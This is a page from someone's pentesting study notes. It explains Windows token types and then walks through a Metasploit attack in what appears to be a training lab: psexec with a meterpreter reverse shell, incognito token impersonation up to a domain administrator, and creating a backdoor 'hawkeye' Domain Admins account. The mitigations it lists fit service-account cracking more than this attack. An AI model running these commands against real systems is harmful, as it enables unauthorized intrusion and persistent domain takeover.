Security Notes
  • Whoami
  • Pentesting
    • WEP-Pen
      • Reconnaissance
      • Enumeration
      • OWSAP TOP 10
        • Injection
          • Cross Site Scripting
            • Cross Site Scripting
            • Exploitation
            • Protections
          • SQL Injection
            • SQL Injection Overview
          • NoSQL Injection
          • CRLF Injection
          • XML Injection
        • Broken Access Control
          • Path Traversal
          • Sensitive Cookie with Improper SameSite Attribute
          • Link Following
          • Incorrect Default Permissions
          • Information disclosure
          • CSRF
            • csrf checklist
          • 403 bypass
          • Exposure of WSDL File Containing Sensitive Information
          • bussiness logic checklist
          • 2FA bypass checklist
          • admin panal checklist
          • idor checklist
          • Authentication checklist
          • reset_password_checklist
          • ATO
        • Cryptographic Failures
          • Cryptographic Failure
          • Weak Encoding for Password
          • Improper Following of a Certificate's Chain of Trust
            • Understanding Digital Certificates : Self-Signed and CA-Signed Certificate **
            • Transport Layer Security (TLS) and SSL **
          • Clear Text Transmission Of Sensitive Data
            • SSLStripping **
        • Insecure Design
        • Security Misconfiguration
          • CORS Miscofigration
          • Mail Server Misconfiguration
        • Vulnerable and Outdated Components
          • Using Components with Known Vulnerabilities
        • Identification and Authentication Failures
          • JWT Hacking
          • SAML Authentication bypass
        • Software and Data Integrity Failures
          • mass assignment
          • PostMessage Vulnerabilities
            • PostMessage Vulnerabilities
            • Blocking main page to steal postmessage
            • Bypassing SOP with Iframes - part 1
            • Bypassing SOP with Iframes - part 2
            • Steal postmessage modifying iframe location
        • Security Logging and Monitoring Failures
        • Server-Side Request Forgery (SSRF)
          • SSRF
      • Checklists
        • aem misconfiguration
        • exif_geo
        • xss
        • Session Management
        • Authorization
        • cookie
        • Django
        • Symfony
        • json
        • bypass rate limit
        • Rce
        • Register Page
      • eWPTXv2 Preparation
        • Encoding & Filtering
        • Evasion Basics
        • Cross-site scripting (XSS)
        • XSS Filter Evasion
        • Cross-site request forgery (CSRF
        • HTML5
      • API-Pen
        • API Discovry
        • Reverse Engineering API Documentation
        • Excessive Data Exposure
        • Vulnerability Scanning
        • API Authentication Attacks
          • Classic Authentication Attacks
          • API Token Attacks
        • API Authorization Attacks
          • Broken Object Level Authorization (BOLA)
          • Broken Function Level Authorization
        • Improper Assets Management
        • Mass Assignment
        • SSRF
        • Injection Attacks in API
        • Evasive Maneuvers
        • GraphQL Vulnerabilities
    • NET-Pen
      • Active Directory Pentesting
        • Active Directory Components
        • Initial Attack Vectors
          • LLMNR Poisoning
          • SMB Relay Attacks
          • IPv6 Attacks ( IPv6 DNS Takeover )
          • Printer Hacking
          • Methodology
          • Some Other Attacks
            • Zerologon (CVE-2020-1472)
            • PrintNightmare (CVE-2021-1675)
        • Post-Compromise Attacks
          • Pass Attacks
          • Kerberoasting Attack
          • Token Impersonation Attack
          • LNK File Attack
          • GPP / cPassword Attacks
          • Mimikatz
          • Methodology
        • We've Compromised the Domain
          • Dumping the NTDS.dit
          • Golden Ticket Attacks
          • Methodology
        • Case Study
        • Password Attacks
      • Attack Vectors by Port
        • FTP 21
        • SSH 22
        • Telnet 23 - 2323
        • SMTP 25
        • DNS 53
        • Kerberos 88
        • POP 110-995
        • RPC 111
        • Ident 113
        • NNTP 119
        • NetBIOS 137-138
        • SMB / Samba 135-139, 445
        • MSRPC 135
        • SNMP 161
        • LDAP 389,636
        • Modbus 502
        • OpenSSL 1337
        • Ms-SQL 1433
        • Oracle Listener 1521 1522 1529
        • NFS 2049
        • MySql 3306
        • RDP 3389
        • ADB Android Debug Bridge 5555
        • WinRM 5985 5986
        • VNC 5800 5900
        • Redis 6379
        • Unreal IRC 6667
        • Tomcat 8080
        • MongoDB 27017
        • http 80
      • Network basics
      • Information Gathering
      • Privilege Escalation
        • Windows Privilege Escalation
        • Linux Privilege Escalation
    • write-ups
      • How i found a Privilege Escalation via Impersonation Features feature
      • How I was able to discover ATO Via IDOR vulnerability
      • Easy full Account Takeover via Facebook OAuth Misconfiguration
Powered by GitBook
On this page
  1. Pentesting
  2. NET-Pen
  3. Active Directory Pentesting
  4. Post-Compromise Attacks

Token Impersonation Attack

PreviousKerberoasting AttackNextLNK File Attack

Last updated 5 months ago

In Windows, security tokens are used to represent the security context of a user or process. These tokens are central to how Windows enforces access control, determining what a user or process can access based on its privileges and group memberships. Think of them as a digital badge that grants access to resources on a system or network without requiring repeated authentication.

Types of Tokens

1. Delegate Tokens

  • Definition:

    • Created during interactive logins, such as:

      • Logging in directly at the console.

      • Connecting through Remote Desktop Protocol (RDP).

    • These tokens allow the user to delegate credentials for accessing other systems or resources.

  • Use Case:

    • Required when users need to interact with remote systems or pass credentials to other systems.

  • Example:

    • When a user connects to a server using RDP and accesses a shared network folder, the delegate token is used for authentication.


2. Impersonate Tokens

  • Definition:

    • Used during non-interactive logins, such as:

      • Mapping a network drive.

      • Running login scripts during domain authentication.

    • These tokens allow processes or threads to act on behalf of a user without requiring interactive credentials.

  • Use Case:

    • Commonly used by services and applications that need to access resources on behalf of a user.

  • Example:

    • A network file-sharing service uses an impersonate token to authenticate and access a user’s files.

    To better grasp the concept of impersonation, you can explore about a similar idea where I identified a bug in a web application that involves impersonation-like behavior

Step-by-Step Implementation Using Metasploit

  1. Launch Metasploit.

msfconsole

2. Search for psexec Module

The psexec module is used for remote code execution over SMB (Server Message Block).

search psexec

3. Select psexec Module

Once located, select the module to begin configuring it.

use 4

4. Set the Payload

Setting the payload specifies the type of access Metasploit will attempt to obtain on the target. windows/x64/meterpreter/reverse_tcp initiates a reverse shell, allowing the attacker to control the target.

set payload windows/x64/meterpreter/reverse_tcp

5. Configure Target Host

RHOST is the IP address of the target system.

set rhosts <target-system's-IP-address>

6. Set SMB Credentials

Provide valid credentials for SMB authentication on the target system.

set smbuser <username>
set smbpass <password>

7. Set SMB Domain

Specify the domain for the target system.

set smbdomain <domain-name>

8. Verify Settings

This command displays the module’s options, allowing you to verify all settings before execution.

options

9. Run the Exploit

Execute the exploit to gain access to the target system.

run

10. Open a Shell

Start an interactive shell on the compromised system.

shell

11. Check Current User

Use the whoami command to verify the identity of the current user.

whoami

12. Load Incognito Module

incognito is a Metasploit module used for token impersonation. Loading this module allows listing and impersonating tokens on the target system.

load incognito

14. List Tokens

View all tokens available for impersonation.

list_tokens -u

15. Impersonate a Token

Impersonate a specific token (e.g., fcastle) to access resources as that user.

impersonate_token marvel\\fcastle

16. Again Open a Shell

Open a new shell after impersonating the token to execute commands as the impersonated user.

shell

17. Verify Impersonation

Use whoami to verify the impersonation was successful.

whoami

18. Revert to the Original User

rev2self reverts to the original user (the one who launched the attack), and getuid verifies the user ID.

rev2self
getuid

Now we log into the administrator account to impersonate the MARVEL\administrator token

19. List and Impersonate the Administrator Token

Listing tokens again shows available tokens, including MARVEL\administrator. By impersonating this token, you gain privileges equivalent to an administrator.

list_tokens -u
impersonate_token marvel\\administrator

20. Open Another Shell

To execute commands as the impersonated Administrator user.

shell

21. Check Current User (Administrator)

Check the current user to ensure the impersonation succeeded.

whoami

22. Add a New User to the Domain

Create a new domain user (e.g., hawkeye) for persistence or future access.

net user /add hawkeye Password@ /domain

23. Add User to Domain Admin Group

Add the new user (hawkeye) to the Domain Admins group to escalate privileges.

net group "Domain Admins" hawkeye /ADD /DOMAIN

24. Verify User Addition with secretsdump

Use the Impacket secretsdump tool again to check if the new user was successfully added.

secretsdump.py MARVEL.local/hawkeye:'Password1@'@192.168.92.129

Mitigations

  1. Use Group Managed Service Accounts (gMSA): gMSAs have complex, random passwords and are managed by Active Directory, making them harder to crack.

  2. Ensure Service Accounts Have Complex Passwords: Service account passwords should be long (more than 25 characters, ideally over 30) to prevent brute-forcing.

  3. Change Service Account Passwords Regularly: Regularly updating passwords helps mitigate the risk of password-based attacks on service accounts.

Metasploit
Psexec Modules
Payload
Set Rhosts
Set SMBUser
Set SMBPass
Set SMB Domain
Load Incognito
List Tokens
Impersonate a Token
Administrator Account Login
List The Token
Impersonate Administrator Token
Add a New User to the Domain
Add User to Domain Admin Group
Verify New User — Secretsdump
Verify New User — Secretsdump
this